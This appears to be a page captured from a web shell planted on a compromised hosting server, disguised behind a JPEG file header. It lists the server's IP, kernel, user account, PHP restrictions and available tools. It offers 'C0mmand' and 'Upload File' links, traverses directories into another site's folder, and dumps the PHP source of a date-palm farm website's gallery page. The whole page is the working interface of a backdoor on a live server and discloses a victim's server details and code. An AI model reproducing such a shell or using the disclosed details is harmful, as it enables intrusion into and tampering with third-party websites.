����JFIF��x�x������Exif��MM�*���� ����E���J����������������(������������������
Server IP : 103.191.208.227 / Your IP : 3.138.178.162 Web Server : LiteSpeed System : Linux emphasis.herosite.pro 4.18.0-553.8.1.lve.el8.x86_64 #1 SMP Thu Jul 4 16:24:39 UTC 2024 x86_64 User : mhmsfzcs ( 1485) PHP Version : 8.1.31 Disable Function : show_source, system, shell_exec, passthru, exec MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0750) : /home/mhmsfzcs/vflyorions.com/.well-known/../../highlandbnd.com/ |
[ Home ] | [ C0mmand ] | [ Upload File ] |
---|
<?php $page = 'gallery'; include 'header.php'; include 'admin/db.php'; ?> <style> body { background-size:cover !important; } </style> <style> .modal-img { width: 100%; } .modal-content { position: relative; } .nav-buttons { right:-76%; position: absolute; top: 50%; width: 100%; display: inline-grid; justify-content: space-between; transform: translateY(-50%); } .nav-buttons .prev, .nav-buttons .next { background-col-lg-3or: rgba(0, 0, 0, 0.5); col-lg-3or: white; border: none; padding: 10px; cursor: pointer; background:#b8ffb8a3; } @media(max-width:769px){ .nav-buttons { right:-76% !important; } } .modal-open .modal { background: #1635274f; } </style> <style> @media(max-width:769px){ .mv-none{ display:none; } } @media(min-width:991px){ .padding-adj{ padding: 0 5%; } } .rv-9-project { border-radius: 0px; } .rv-9-project__title { font-size: 21px; } </style> <!-- BREADCRUMB STARTS HERE --> <div class="rv-breadcrumb pt-120 pb-120"> <div class="container"> <h1 class="rv-breadcrumb__title">Gallery</h1> <ul class="rv-breadcrumb__nav d-flex justify-content-center"> <li><a href="index.php"><i class="fa-solid fa-sharp fa-home"></i> Home</a></li> <li class="current-page"><span class="dvdr"> /</span><span>Gallery</span></li> </ul> </div> </div> <!-- BREADCRUMB ENDS HERE --> <!-- PROJECTS SECTION START --> <section class="rv-9-projects pt-60 pb-60"> <div class="container-fluid padding-adj"> <div class="rv-inner-projects" data-aos="fade-up"> <div class="row g-xl-4 g-3 row-col-lg-3s-lg-3 row-col-lg-3s-sm-2 row-col-lg-3s-1"> <?php $sql = "SELECT * FROM web_gallary"; $result = $conn->query($sql); if ($result->num_rows > 0) { while ($row = $result->fetch_assoc()) { ?> <div class="col-lg-3"> <div class="rv-3-project rv-9-project rv-inner-project"> <div class="rv-3-project__img"> <img src="admin/<?= $row['image']; ?>" alt="Project Image" class="img-fluid" data-index="0"> <div class="rv-3-project__actions"> <button class="quick-view"><i class="fa fa-expand"></i></button> </div> </div> <div class="rv-9-project__txt"> <h5 class="rv-9-project__title"><?= $row['name']; ?></h5> </div> </div> </div> <?php } } else { echo "<tr><td colspan='7'>No data found</td></tr>"; } ?> <!--<div class="col-lg-3">--> <!-- <div class="rv-3-project rv-9-project rv-inner-project">--> <!-- <div class="rv-3-project__img">--> <!-- <img src="assets/img/gallery7.png" alt="Project Image" class="img-fluid" data-index="1">--> <!-- <div class="rv-3-project__actions">--> <!-- <button class="quick-view"><i class="fa fa-expand"></i></button>--> <!-- </div>--> <!-- </div>--> <!-- <div class="rv-9-project__txt">--> <!-- <h5 class="rv-9-project__title">Dates Palm Grove</h5>--> <!-- </div>--> <!-- </div>--> <!--</div>--> <!--<div class="col-lg-3">--> <!-- <div class="rv-3-project rv-9-project rv-inner-project">--> <!-- <div class="rv-3-project__img">--> <!-- <img src="assets/img/gallery2.png" alt="Project Image" class="img-fluid" data-index="2">--> <!-- <div class="rv-3-project__actions">--> <!-- <button class="quick-view"><i class="fa fa-expand"></i></button>--> <!-- </div>--> <!-- </div>--> <!-- <div class="rv-9-project__txt">--> <!-- <h5 class="rv-9-project__title">Dates Palm land Cultivation</h5>--> <!-- </div>--> <!-- </div>--> <!--</div>--> <!--<div class="col-lg-3">--> <!-- <div class="rv-3-project rv-9-project rv-inner-project">--> <!-- <div class="rv-3-project__img">--> <!-- <img src="assets/img/gallery8.png" alt="Project Image" class="img-fluid" data-index="3">--> <!-- <div class="rv-3-project__actions">--> <!-- <button class="quick-view"><i class="fa fa-expand"></i></button>--> <!-- </div>--> <!-- </div>--> <!-- <div class="rv-9-project__txt">--> <!-- <h5 class="rv-9-project__title">Dates Palm Tree Close-Up</h5>--> <!-- </div>--> <!-- </div>--> <!--</div>--> <!--<div class="col-lg-3">--> <!-- <div class="rv-3-project rv-9-project rv-inner-project">--> <!-- <div class="rv-3-project__img">--> <!-- <img src="assets/img/gallery3.png" alt="Project Image" class="img-fluid" data-index="4">--> <!-- <div class="rv-3-project__actions">--> <!-- <button class="quick-view"><i class="fa fa-expand"></i></button>--> <!-- </div>--> <!-- </div>--> <!-- <div class="rv-9-project__txt">--> <!-- <h5 class="rv-9-project__title">Desert Dates Farm</h5>--> <!-- </div>--> <!-- </div>--> <!--</div>--> <!--<div class="col-lg-3">--> <!-- <div class="rv-3-project rv-9-project rv-inner-project">--> <!-- <div class="rv-3-project__img">--> <!-- <img src="assets/img/gallery9.png" alt="Project Image" class="img-fluid" data-index="5">--> <!-- <div class="rv-3-project__actions">--> <!-- <button class="quick-view"><i class="fa fa-expand"></i></button>--> <!-- </div>--> <!-- </div>--> <!-- <div class="rv-9-project__txt">--> <!-- <h5 class="rv-9-project__title">Traditional Dates Farming</h5>--> <!-- </div>--> <!-- </div>--> <!--</div>--> <!--<div class="col-lg-3">--> <!-- <div class="rv-3-project rv-9-project rv-inner-project">--> <!-- <div class="rv-3-project__img">--> <!-- <img src="assets/img/gallery4.png" alt="Project Image" class="img-fluid" data-index="6">--> <!-- <div class="rv-3-project__actions">--> <!-- <button class="quick-view"><i class="fa fa-expand"></i></button>--> <!-- </div>--> <!-- </div>--> <!-- <div class="rv-9-project__txt">--> <!-- <h5 class="rv-9-project__title">Dates Palm Seedlings</h5>--> <!-- </div>--> <!-- </div>--> <!--</div>--> <!--<div class="col-lg-3">--> <!-- <div class="rv-3-project rv-9-project rv-inner-project">--> <!-- <div class="rv-3-project__img">--> <!-- <img src="assets/img/gallery10.png" alt="Project Image" class="img-fluid" data-index="7">--> <!-- <div class="rv-3-project__actions">--> <!-- <button class="quick-view"><i class="fa fa-expand"></i></button>--> <!-- </div>--> <!-- </div>--> <!-- <div class="rv-9-project__txt">--> <!-- <h5 class="rv-9-project__title">Dates Harvesting</h5>--> <!-- </div>--> <!-- </div>--> <!--</div>--> <!--<div class="col-lg-3">--> <!-- <div class="rv-3-project rv-9-project rv-inner-project">--> <!-- <div class="rv-3-project__img">--> <!-- <img src="assets/img/gallery5.png" alt="Project Image" class="img-fluid" data-index="8">--> <!-- <div class="rv-3-project__actions">--> <!-- <button class="quick-view"><i class="fa fa-expand"></i></button>--> <!-- </div>--> <!-- </div>--> <!-- <div class="rv-9-project__txt">--> <!-- <h5 class="rv-9-project__title">Dry Land Dates Farming</h5>--> <!-- </div>--> <!-- </div>--> <!--</div>--> <!--<div class="col-lg-3">--> <!-- <div class="rv-3-project rv-9-project rv-inner-project">--> <!-- <div class="rv-3-project__img">--> <!-- <img src="assets/img/gallery11.png" alt="Project Image" class="img-fluid" data-index="9">--> <!-- <div class="rv-3-project__actions">--> <!-- <button class="quick-view"><i class="fa fa-expand"></i></button>--> <!-- </div>--> <!-- </div>--> <!-- <div class="rv-9-project__txt">--> <!-- <h5 class="rv-9-project__title">Irrigated Dates Plantation</h5>--> <!-- </div>--> <!-- </div>--> <!--</div>--> <!--<div class="col-lg-3">--> <!-- <div class="rv-3-project rv-9-project rv-inner-project">--> <!-- <div class="rv-3-project__img">--> <!-- <img src="assets/img/gallery6.png" alt="Project Image" class="img-fluid" data-index="10">--> <!-- <div class="rv-3-project__actions">--> <!-- <button class="quick-view"><i class="fa fa-expand"></i></button>--> <!-- </div>--> <!-- </div>--> <!-- <div class="rv-9-project__txt">--> <!-- <h5 class="rv-9-project__title">Harvested Land</h5>--> <!-- </div>--> <!-- </div>--> <!--</div>--> <!--<div class="col-lg-3">--> <!-- <div class="rv-3-project rv-9-project rv-inner-project">--> <!-- <div class="rv-3-project__img">--> <!-- <img src="assets/img/gallery12.png" alt="Project Image" class="img-fluid" data-index="11">--> <!-- <div class="rv-3-project__actions">--> <!-- <button class="quick-view"><i class="fa fa-expand"></i></button>--> <!-- </div>--> <!-- </div>--> <!-- <div class="rv-9-project__txt">--> <!-- <h5 class="rv-9-project__title">Dates Palm Rows</h5>--> <!-- </div>--> <!-- </div>--> <!--</div>--> </div> </div> </div> </section> <!-- PROJECTS SECTION END --> <!-- CTA SECTION START --> <section class="rv-14-cta rv-inner-cta rv-section-spacing"> <div class="container"> <div class="row g-4 align-items-center"> <div class="col-lg-1 mv-none"></div> <div class="col-lg-6"> <div class="rv-14-cta__txt"> <h6 class="rv-1-section__sub-title rv-text-anime">Connect Now</h6> <h2 class="rv-1-section__title rv-text-anime mb-0">Join Our Network and Never Miss Out</h2> </div> </div> <div class="col-lg-1 mv-none" > </div> <div class="col-lg-4" > <div class="rv-6-footer-nwsltr__form rv-14-nwsltr__form " style="float: inline-start;"> <button style="background: #2d6a4f; color: white;letter-spacing: 2px; padding: 4% 5%; font-size: 21px;"> <a href="contact.php"><i class="fa-light fa-paper-plane " style="color:white"></i> <span class="txt" style="color:white">Connect Now</span></button></a> </div> </div> </div> </div> </section> <!-- CTA SECTION END --> <!-- Modal --> <div class="modal fade" id="imageModal" tabindex="-1" aria-labelledby="imageModalLabel" aria-hidden="true"> <div class="modal-dialog modal-dialog-centered"> <div class="modal-content"> <div class="modal-body"> <img src="" alt="Zoomed Image" class="modal-img"> <div class="nav-buttons"> <button class="prev">« Prev</button> <button class="next">Next »</button> </div> </div> </div> </div> </div> <script src="https://code.jquery.com/jquery-3.5.1.min.js"></script> <script src="https://stackpath.bootstrapcdn.com/bootstrap/4.5.2/js/bootstrap.min.js"></script> <script> $(document).ready(function() { const images = $('.rv-3-project__img img'); let currentIndex = 0; $('.quick-view').on('click', function() { currentIndex = $(this).closest('.rv-3-project__img').find('img').data('index'); showImage(currentIndex); $('#imageModal').modal('show'); }); $('.prev').on('click', function() { currentIndex = (currentIndex > 0) ? currentIndex - 1 : images.length - 1; showImage(currentIndex); }); $('.next').on('click', function() { currentIndex = (currentIndex < images.length - 1) ? currentIndex + 1 : 0; showImage(currentIndex); }); function showImage(index) { const imgSrc = images.eq(index).attr('src'); $('.modal-img').attr('src', imgSrc); } }); </script> <?php include 'footer.php'; ?>